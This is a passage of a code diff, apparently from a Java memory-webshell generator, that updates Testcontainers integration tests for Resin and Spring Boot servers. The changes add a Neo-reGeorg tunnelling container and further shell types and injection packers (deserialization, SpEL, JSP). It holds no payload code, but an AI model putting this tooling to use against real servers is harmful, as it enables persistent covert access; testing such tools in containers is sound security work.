testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Resin4058ContainerTest { public class Resin4058ContainerTest {
public static final String imageName = "reajason/resin:4.0.58"; public static final String imageName = "reajason/resin:4.0.58";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(resinPid, "/fetch_pid.sh") .withCopyToContainer(resinPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Resin4058ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Resin4067ContainerTest { public class Resin4067ContainerTest {
public static final String imageName = "reajason/resin:4.0.67-jdk11"; public static final String imageName = "reajason/resin:4.0.67-jdk11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(resinPid, "/fetch_pid.sh") .withCopyToContainer(resinPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +70,6 @@ public class Resin4067ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container); testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot1ContainerTest {
public static final String imageName = "springboot1";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot1Dockerfile))
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.SpringWebMvc;
List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -12,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -34,17 +35,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
public class SpringBoot2ContainerTest { public class SpringBoot2ContainerTest {
public static final String imageName = "springboot2"; public static final String imageName = "springboot2";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile() public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot2Dockerfile)) .withDockerfile(springBoot2Dockerfile))
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh") .withCopyToContainer(springbootPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/test")) .waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.SpringWebMvc; Server server = Server.SpringWebMvc;
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET); List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -58,7 +72,7 @@ public class SpringBoot2ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container); testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
} }
public static String getUrl(GenericContainer<?> container) { public static String getUrl(GenericContainer<?> container) {
@@ -12,15 +12,16 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.MatcherAssert.assertThat;
@@ -33,17 +34,25 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j @Slf4j
public class SpringBoot2WarContainerTest { public class SpringBoot2WarContainerTest {
public static final String imageName = "tomcat:8-jre8"; public static final String imageName = "tomcat:8-jre8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.SpringWebMvc; Server server = Server.SpringWebMvc;
List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER); ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +66,6 @@ public class SpringBoot2WarContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer); testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
} }
} }

Some files were not shown because too many files have changed in this diff Show More